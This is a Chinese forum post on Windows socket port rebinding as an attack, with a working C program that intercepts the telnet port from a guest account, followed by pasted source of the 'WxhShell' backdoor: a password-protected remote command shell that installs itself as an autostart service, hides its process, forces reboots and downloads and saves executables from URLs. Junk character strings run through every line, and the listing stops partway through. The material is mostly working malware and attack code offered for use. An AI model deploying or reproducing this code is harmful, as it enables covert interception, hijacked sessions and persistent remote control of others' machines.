社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 9573阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ~VGnE:  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); O VV@  
xM*_1+<dT$  
  saddr.sin_family = AF_INET; B$4*U"tk  
>XD?zF)6  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {3~VLdy  
?\}Gi(VVE  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); uN|A}/hr]  
`g)}jo`W  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 d7OygDb<  
MMM tB6  
  这意味着什么?意味着可以进行如下的攻击: 7L{1S v  
> H!sD\b  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 b_0THy.Z  
Kc/1LeAik  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) rhJ&* 0M  
e~o!Qm  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 _gvFs %J  
w?Te%/s.  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  6j<9Y  
|Wh3a#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 oaY_6  
;O"?6d0  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 TR"C<&y$j  
*c0H_8e  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 @T'^V0!-q:  
t un}rdb  
  #include \iuR+I  
  #include lSj gN~:z  
  #include p8 rh`7  
  #include    l& :EKh  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ]K=#>rZrB  
  int main() ( ;FxKm<P@  
  { D JP6Z  
  WORD wVersionRequested; $@g]?*L:  
  DWORD ret; ~6[?=mOi'  
  WSADATA wsaData; ]P4WfV d  
  BOOL val; Kb.qv)6i*  
  SOCKADDR_IN saddr; D!<F^mtl  
  SOCKADDR_IN scaddr; gD,&TW  
  int err; ?YhDjQs  
  SOCKET s; w_9^YO! !  
  SOCKET sc; JzyCeM =  
  int caddsize; @KN+)qP  
  HANDLE mt; #lYyL`B+~  
  DWORD tid;   P*|N)S)X%  
  wVersionRequested = MAKEWORD( 2, 2 ); q!Du J  
  err = WSAStartup( wVersionRequested, &wsaData ); aO6\ e>  
  if ( err != 0 ) { &qv~)ZM$  
  printf("error!WSAStartup failed!\n"); SeX]|?D  
  return -1; !FEc:qH  
  } wq)*bIv  
  saddr.sin_family = AF_INET; -;""l{  
   vgfC{]v<W]  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ^_7|b[Bt  
twT/uBQ4a  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }0'=}BE  
  saddr.sin_port = htons(23); 3]Z1kB  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u?osX;'w  
  { L\:|95Yq  
  printf("error!socket failed!\n"); VUb>{&F[  
  return -1; 'o AmA=  
  } GABZsdFZ!  
  val = TRUE; ?Oyo /?/  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5cSiV7#Y:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) AjzTszByu  
  { -<W?it?D  
  printf("error!setsockopt failed!\n"); |23F@s1  
  return -1; S}6Ld(_  
  }  5NU{y+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; '-iEbE  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @HT\Y%E  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 YIQD9  
yx-{Pj X   
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) xc^@"  
  { asWk]jjMG  
  ret=GetLastError(); 222 Y?3>@D  
  printf("error!bind failed!\n"); DUp`zW;B  
  return -1; wk(25(1q  
  } HJL! ;i  
  listen(s,2); ,OE&e* 1  
  while(1) -Q WvB  
  { !09)WtsEfx  
  caddsize = sizeof(scaddr); _NDQ2O  
  //接受连接请求 uP~,]ci7  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^T=9j.e'ja  
  if(sc!=INVALID_SOCKET) X! d-"[  
  { Gh;\"Qx  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); mdi!Q1pS  
  if(mt==NULL) {u'szO}k  
  { _v!7 |&\  
  printf("Thread Creat Failed!\n"); $)lkiA&;  
  break; lqDCK&g$E#  
  } cslC+e/  
  } Tz @<hE  
  CloseHandle(mt); ``MO5${  
  } l.Q  
  closesocket(s); 3efOgP=L  
  WSACleanup(); \)PB p  
  return 0; v{u3[c   
  }   Z8v\>@?5R  
  DWORD WINAPI ClientThread(LPVOID lpParam) L.n@;*  
  { o9kJ90{D=  
  SOCKET ss = (SOCKET)lpParam; ,K5K?C$k  
  SOCKET sc; _4{0He`q  
  unsigned char buf[4096]; 73Dxf -  
  SOCKADDR_IN saddr; 5100fX}  
  long num; {K^5q{u  
  DWORD val; ~ 9>H(c  
  DWORD ret; \GFq RRn  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =RoE=) 1&-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   `<XS5h h=  
  saddr.sin_family = AF_INET; }%g[1 #%(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Yuv(4a<M%  
  saddr.sin_port = htons(23); tXE/aY*I  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) OC! {8MR  
  { { FJMc O=  
  printf("error!socket failed!\n"); (zhZ}C,VF  
  return -1; vNO&0~  
  }  2&6D`{"P  
  val = 100; TTf j 5  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }m:paB"3  
  { pb!2G/,.[  
  ret = GetLastError(); cVi_#9u"  
  return -1; ~OD6K`s3  
  } 35h|?eN_m!  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mnt&!X4<  
  { b(Y   
  ret = GetLastError(); GM|& ,}  
  return -1; O4rjGTRF  
  } &4Z8df!  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >d 5-if  
  { {`HbpM<=m]  
  printf("error!socket connect failed!\n"); -rDfDdT  
  closesocket(sc); ;qmnG3;Q  
  closesocket(ss); ;>,B(Xz4i  
  return -1; qq)5)S  
  } ZflB<cI  
  while(1) s_^`t+5  
  { ko%mZ0Y  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 F|%PiC,,qO  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 [* xdILj  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7F`\Gz_2  
  num = recv(ss,buf,4096,0); qlhc"}5x }  
  if(num>0) fTxd8an{  
  send(sc,buf,num,0); FB k7Cn!  
  else if(num==0) '4,?YcZ?S  
  break; Q Xd`P4a  
  num = recv(sc,buf,4096,0); (Mc{nFqS  
  if(num>0) !t%1G.  
  send(ss,buf,num,0); P| NGAd  
  else if(num==0) 5BrN uR$  
  break; V_i&@<J  
  } `E~"T0RX  
  closesocket(ss); Y3@+aA  
  closesocket(sc); ~/^fdGr  
  return 0 ; !(*&P  
  } lDS y$  
LWrYK i  
("`"?G  
========================================================== d=1\=d/K  
:6n4i$  
下边附上一个代码,,WXhSHELL VgPlIIHh5  
/&6{}n  
========================================================== [3dGHf;miw  
@(R=4LL  
#include "stdafx.h" g0f4>m  
 l!1_~!{y  
#include <stdio.h> 6AIqoX*p  
#include <string.h> y[J9"k(@  
#include <windows.h> XT/t\\Z`U  
#include <winsock2.h> :E W1I>}_  
#include <winsvc.h> r'noB<| e  
#include <urlmon.h> 2)BO@]n  
fb Bu^]^S  
#pragma comment (lib, "Ws2_32.lib") =8_b&4.:&  
#pragma comment (lib, "urlmon.lib") QRQ{Bq}#  
8Hq4ppC  
#define MAX_USER   100 // 最大客户端连接数 p3_ Qx  
#define BUF_SOCK   200 // sock buffer SX,$ $43  
#define KEY_BUFF   255 // 输入 buffer X#1WzWk '  
k7uX!}  
#define REBOOT     0   // 重启 ~,,r\Y+  
#define SHUTDOWN   1   // 关机 rDl/R^w"  
=t N}4  
#define DEF_PORT   5000 // 监听端口 {?Slo5X|  
-axKnfj  
#define REG_LEN     16   // 注册表键长度 CUDA<Fm  
#define SVC_LEN     80   // NT服务名长度 q:_:E*o  
Aa-5k3:x]=  
// 从dll定义API we}xGb.u  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); v:lkvMq|=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ",apO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); A":=-$)  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^a qQw u  
drpx"d[c  
// wxhshell配置信息 =LGM[Z3$s  
struct WSCFG { "9s}1C;Me  
  int ws_port;         // 监听端口 ,wf_o%'eW  
  char ws_passstr[REG_LEN]; // 口令  x,: k/]  
  int ws_autoins;       // 安装标记, 1=yes 0=no JbEEI(Q>g  
  char ws_regname[REG_LEN]; // 注册表键名 c ,#=In2  
  char ws_svcname[REG_LEN]; // 服务名 Zzlt^#KLx  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ,t_&tbf3  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 tOXyle~C  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ; &rxwL  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9z?c0W5x  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" rvx2{1}I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `;Ui6{|  
'!$ QI@@  
}; uj;iE 9  
p$F` 9_bZ  
// default Wxhshell configuration :@p]~{m:G  
struct WSCFG wscfg={DEF_PORT, A}! A*z<9  
    "xuhuanlingzhe", L@RnLaoQ  
    1, &%v*%{|j  
    "Wxhshell", vJr,lBHEk  
    "Wxhshell", WiZkIZ  
            "WxhShell Service", 46M=R-7=  
    "Wrsky Windows CmdShell Service", em7L `,  
    "Please Input Your Password: ", pPxgjX  
  1, M19O^P>[  
  "http://www.wrsky.com/wxhshell.exe", */~|IbZ`o  
  "Wxhshell.exe" ]G&[P8hz B  
    }; 'h ?  
b+Sj\3fX  
// 消息定义模块 ql%K+4@  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <|'ETqP<+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; mR2"dq;U  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #Br`;hL<T  
char *msg_ws_ext="\n\rExit."; ZYB5s~;eB"  
char *msg_ws_end="\n\rQuit."; BgN^].z&  
char *msg_ws_boot="\n\rReboot..."; ;=2JbA+"G  
char *msg_ws_poff="\n\rShutdown..."; zM8 jjB  
char *msg_ws_down="\n\rSave to "; Zk7!CJVM  
_e8Gt6>  
char *msg_ws_err="\n\rErr!"; P:J|![   
char *msg_ws_ok="\n\rOK!"; }A6z%|d  
m5/]+xdNX  
char ExeFile[MAX_PATH]; [4EIy"  
int nUser = 0; Cm5L99Y  
HANDLE handles[MAX_USER]; DmWa!5  
int OsIsNt; Mmgm6{  
C-_u`|jQ  
SERVICE_STATUS       serviceStatus; r:rPzq1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ~Y0K Wx4  
Y 8}y0]V  
// 函数声明 F)=<|,b1  
int Install(void); 1z; !)pG.  
int Uninstall(void); 3f>9tUWhTy  
int DownloadFile(char *sURL, SOCKET wsh); 0(C[][a*u  
int Boot(int flag); /_JR7BB^X,  
void HideProc(void); ^-Ks_4  
int GetOsVer(void); 6wOj,}2Mn  
int Wxhshell(SOCKET wsl); 6ImW |%  
void TalkWithClient(void *cs); j0F& WKk  
int CmdShell(SOCKET sock); @<OsTF L  
int StartFromService(void); lib^JJF  
int StartWxhshell(LPSTR lpCmdLine); 7u1o>a %9  
Mu.tq~b >  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?mi}S${g  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 'mv|6Y  
~ hP]<$v  
// 数据结构和表定义 V1i^#;  
SERVICE_TABLE_ENTRY DispatchTable[] = ;Srzka2  
{ uI)z4Z  
{wscfg.ws_svcname, NTServiceMain}, i'ZnU55=  
{NULL, NULL} G=Xas"|  
}; t}K8{ V  
@Us#c 7/  
// 自我安装 7 }t=Lx(  
int Install(void) {6}$XLV3l  
{ }PMlG  
  char svExeFile[MAX_PATH]; <0/)v J- 9  
  HKEY key; U~|)=+%O  
  strcpy(svExeFile,ExeFile); g |]Hm*  
AAi4} 8+\  
// 如果是win9x系统,修改注册表设为自启动 gsIp y  
if(!OsIsNt) { $?&distJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %~<F7qB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [MAvU?;  
  RegCloseKey(key); 6m9\0)R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0LWV.OIIC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -ADb5-px  
  RegCloseKey(key); 0sq?>$~Kc*  
  return 0; V' sq'XB  
    } 'Urx83  
  } 4f213h  
} qz-lQ  
else { 9]S;%:64  
b\SB  
// 如果是NT以上系统,安装为系统服务 BS?rKtdm(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); m.yt?`  
if (schSCManager!=0) SG)|4$"  
{ s8*Q@0  
  SC_HANDLE schService = CreateService 1mv8[^pF  
  ( Xq$9H@.  
  schSCManager, D'Kiy  
  wscfg.ws_svcname, ;k=`J  
  wscfg.ws_svcdisp, 1:Raa5  
  SERVICE_ALL_ACCESS, ?KFj=Yo  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |v"&Y  
  SERVICE_AUTO_START, _]kw |[)  
  SERVICE_ERROR_NORMAL, ib(4Y%U6~  
  svExeFile, 1VPxCB\  
  NULL, *)T7DN8  
  NULL, p+F>+OQ*  
  NULL, DPWnvd  
  NULL, |zp}u(N  
  NULL fTI~wF8!  
  ); GS,}]c=  
  if (schService!=0) Ye\ &_w"  
  { n?NUnFA  
  CloseServiceHandle(schService); s&W^?eKr  
  CloseServiceHandle(schSCManager); Z"9D1Uk  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); p=dM2>  
  strcat(svExeFile,wscfg.ws_svcname); ov Wm}!r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FQB6` M  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); WHR6/H  
  RegCloseKey(key); Hy2~D:34  
  return 0; BKfoeN)%  
    } !F)BTB7{<  
  } )#Id=c  
  CloseServiceHandle(schSCManager); Uclta  
} d?jzh 1  
} GOY!()F  
03 I*@jj  
return 1; o+T, O+i  
} 7eyx cr;z  
$$---Y   
// 自我卸载 oN.#q$\` k  
int Uninstall(void) 4u]>$?X1_  
{ ]]V| ]}<)m  
  HKEY key; Ft 2u&Rtx  
*|.-y->  
if(!OsIsNt) { =\x(Rs3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l\t<_p/I)^  
  RegDeleteValue(key,wscfg.ws_regname); fTV3lyk  
  RegCloseKey(key); X/<Q3AK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -Z&9pI(3R~  
  RegDeleteValue(key,wscfg.ws_regname); f>ilk Q`  
  RegCloseKey(key); -hP>;~*4  
  return 0; c~n:xblv  
  } hdy N   
} Y~-P9   
} +Am\jsq  
else { Yi#U~ h  
52z{   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {h}e 9  
if (schSCManager!=0) \t%rIr  
{ zr1A4%S"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .#}`r`/  
  if (schService!=0) nQ^ c{Bm:  
  { |eFce/  
  if(DeleteService(schService)!=0) { W3 2]#M=  
  CloseServiceHandle(schService); ^n<o,K4\}  
  CloseServiceHandle(schSCManager); U9:I"f,  
  return 0; (@;=[5+  
  } "'*w_H0  
  CloseServiceHandle(schService); M}xyW"yp  
  } QX|y};7\e  
  CloseServiceHandle(schSCManager); \LQ54^eB  
} \"?5CHz*  
} }ujl2uhM  
;TTH  
return 1; +:#UU;W  
} I&|J +B?#  
"P@oO,.  
// 从指定url下载文件 &u~#bDh  
int DownloadFile(char *sURL, SOCKET wsh) 5.zv0tJku  
{ .%T.sQ  
  HRESULT hr; <5:`tC2  
char seps[]= "/"; DNy 6Kw  
char *token; VJ()sbl{k  
char *file; } +ZZO0  
char myURL[MAX_PATH]; kNrN72qg  
char myFILE[MAX_PATH]; ud:5_*  
VDy\2-b8d  
strcpy(myURL,sURL); .Arcsg   
  token=strtok(myURL,seps); xdkC>o4>  
  while(token!=NULL) u#~q86k  
  { K *xca(6  
    file=token; ,7mB`0j>  
  token=strtok(NULL,seps); \9`76*X6 c  
  } Gsa~zGN  
?5jq)xd2  
GetCurrentDirectory(MAX_PATH,myFILE); !pAb+6~T  
strcat(myFILE, "\\"); |.Vs(0O  
strcat(myFILE, file); b,):&M~p  
  send(wsh,myFILE,strlen(myFILE),0); IJ#+"(?7,u  
send(wsh,"...",3,0); k5/W'*P  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); UTR`jXCg  
  if(hr==S_OK) M sQ>eSk  
return 0; 1&#qq*{  
else )H| cri~D  
return 1; FoB^iA6 e  
;X)b=  
} ]x:>!y  
br4?_,  
// 系统电源模块 |cIv&\ x  
int Boot(int flag) 4"~l^yK  
{ Z|6,*XEc   
  HANDLE hToken; =Cg1I\  
  TOKEN_PRIVILEGES tkp; L wP  
['jr+gIfQ  
  if(OsIsNt) { -0f ,qNF  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =]m,7v Rq  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); EUjA-L(  
    tkp.PrivilegeCount = 1; jSd[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E) z=85;_p  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TAp8x  
if(flag==REBOOT) { ]mT2a8`c.r  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \ _l4li  
  return 0; Ze"m;T  
} @e:= D  
else { jHQnD]Hr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j`:D BO&)\  
  return 0; G;Py%8  
} 8Ai\T_l  
  } 7-A/2/G<  
  else { nR`)kORc  
if(flag==REBOOT) { fOJTy0jX8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v$~$_K  
  return 0; eI3ZV^_Ps  
} Q%!Dk0-)  
else { X;7hy0Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) o8h` 9_  
  return 0; p-XO4Pc 6  
} e6gLYhf&  
} bZWdd6  
PWk\#dJN&  
return 1; N~~ sM"n  
} kJK*wq]U6  
/I &wh  
// win9x进程隐藏模块 bYBEh n  
void HideProc(void) G.3yuok9  
{ YF)k0bu&;  
t-Uo  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b} FhC"'i  
  if ( hKernel != NULL ) E<sd\~~A:  
  { 53WCF[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ?azcWf z0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {"c`k4R  
    FreeLibrary(hKernel); *Gul|Lp$<I  
  } 7~Z(dTdSG  
==AmL]*  
return; }#h`1 uV  
} ZI.Czzx\=  
|]5`T9K@b#  
// 获取操作系统版本 7n,=`0{r  
int GetOsVer(void) J`[gE`d  
{ 055C1RV%  
  OSVERSIONINFO winfo; $,zW0</P*l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); [kf6bf@  
  GetVersionEx(&winfo); +ZOKfX  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /@B2-.w  
  return 1; c:aW"U   
  else WPAT\Al&AE  
  return 0; X;n09 L`CB  
} nyetK  
3 Ak'Ue  
// 客户端句柄模块 #p ;O3E@  
int Wxhshell(SOCKET wsl) IhRdn1&  
{ O?ODfO+>  
  SOCKET wsh; Kq5i8L=u  
  struct sockaddr_in client; &(lQgi+^!  
  DWORD myID; C]Y%dQh+a  
yi:}UlO  
  while(nUser<MAX_USER) Fv*Et-8tN5  
{ bp<,Xfl  
  int nSize=sizeof(client); TF9A4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _xmQGX!|  
  if(wsh==INVALID_SOCKET) return 1; xS>vmnW  
4jSYR#Hqp`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {Kf5a m  
if(handles[nUser]==0) F 2Y!aR  
  closesocket(wsh); ':3[?d1Es  
else *nYg-)  
  nUser++; +u&[ j/  
  } ~sZ$`t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &Q#*Nnb3  
?J,,RK.  
  return 0; 684d&\(s  
} +xvn n  
^Ua6.RH8  
// 关闭 socket bL Sc=f&  
void CloseIt(SOCKET wsh) ;>L8&m)R5  
{ QM* T?PR  
closesocket(wsh); 6ypLE@Mk  
nUser--; K yyVO"  
ExitThread(0); ;b:'i& r  
} CmV &+C$V%  
h!v< J  
// 客户端请求句柄 oR,6esA+6n  
void TalkWithClient(void *cs) e#,(a  
{ a+cDH  
r @m]#4  
  SOCKET wsh=(SOCKET)cs; H%XF~tF:  
  char pwd[SVC_LEN]; &x[7?Y L  
  char cmd[KEY_BUFF]; KPI96P  
char chr[1]; JSi0-S[Y{  
int i,j; ZOMYo]  
\PUJD,9H  
  while (nUser < MAX_USER) { [61*/=gWe  
SJ<v< B  
if(wscfg.ws_passstr) { KN[;z2i  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); } c k <R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vsZ?cd  
  //ZeroMemory(pwd,KEY_BUFF); huS*1xl  
      i=0; #CaPj:>[  
  while(i<SVC_LEN) { `:;q4zij;  
(S?Y3l|  
  // 设置超时 AB`.K{h  
  fd_set FdRead; !& >`  
  struct timeval TimeOut; BkGEx z  
  FD_ZERO(&FdRead); e1LIk1`p  
  FD_SET(wsh,&FdRead); @qan&?-Y  
  TimeOut.tv_sec=8; ?q9] H5\  
  TimeOut.tv_usec=0; j7gw?,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C[G+SA1&W  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8"9&x} tl-  
cl2_"O  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); } P ,"  
  pwd=chr[0]; m|B=&#  
  if(chr[0]==0xd || chr[0]==0xa) { ]5c(:T F  
  pwd=0; Leb|YX  
  break; 1QG q;6\  
  } Q`<{cFsU  
  i++; !43 !JfD  
    } 0^gY4qx[u  
dY S(}U  
  // 如果是非法用户,关闭 socket HDhISPg  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); X!ruQem /  
} BZ?Ck[E]Z  
ERV]N:(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); q\?s<l63  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'UIFP#GtFO  
0bDc 4m  
while(1) { fUkqhqe  
I[Lg0H8  
  ZeroMemory(cmd,KEY_BUFF); DFK@/.V  
3- Kgz  
      // 自动支持客户端 telnet标准   heCM+ =#~  
  j=0; jU j\<aW  
  while(j<KEY_BUFF) { FN-/~Su~J  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0%rDDB  
  cmd[j]=chr[0]; nc k/Dw  
  if(chr[0]==0xa || chr[0]==0xd) { F,wB6Cw  
  cmd[j]=0; e$Ds2%SaT  
  break; rMDvnF  
  } ^?`fN'!p  
  j++; #&}- q RA  
    } tb+gCs'D  
@-!P1]V|  
  // 下载文件 K$,Zg  
  if(strstr(cmd,"http://")) { _Sr7b#)o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2`$*HPj+G  
  if(DownloadFile(cmd,wsh)) kg7F8($  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;{sZDjev>  
  else XIl <rN@-  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yxt"vm;  
  } j ~-N2b6z  
  else { L3, /7  
#Q8_:dPY  
    switch(cmd[0]) { Vke<; k-  
  (u@:PiU/eP  
  // 帮助 @sLN  
  case '?': { jq,M1  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9Y:I)^ek  
    break; lKf58 mB  
  } odhS0+d^  
  // 安装 = j1Jl^[  
  case 'i': { Fc5.?X-  
    if(Install()) 0~qc,-)3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8_('[89m  
    else R.^]{5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o9eOp3w30  
    break; z{rV|vQ  
    } 6m:$mhA5  
  // 卸载 h3?>jE=H  
  case 'r': { GTdoUSUq  
    if(Uninstall()) A(FnU:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z =+Z96  
    else Ek{QNlQ]4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :0J`4  
    break; PK[mf\G\  
    } 9J3fiA_  
  // 显示 wxhshell 所在路径 M=^d  
  case 'p': { }>@\I^Xm,  
    char svExeFile[MAX_PATH]; G4cgY|71  
    strcpy(svExeFile,"\n\r"); `8!9Fp  
      strcat(svExeFile,ExeFile);  <mn[-  
        send(wsh,svExeFile,strlen(svExeFile),0); aK_5@8+ZD  
    break; |7|S>h^  
    } *fg2bz<~[B  
  // 重启 oYqH l1cs  
  case 'b': { (;{X-c}?  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sW]_Ky.]  
    if(Boot(REBOOT)) =D`8,n [  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UGcmzwE  
    else { b84l`J  
    closesocket(wsh); h&0zR#t  
    ExitThread(0); *] i hc u  
    } -<#) ]um  
    break;  !VGG2N8  
    } =-U0r$sK+F  
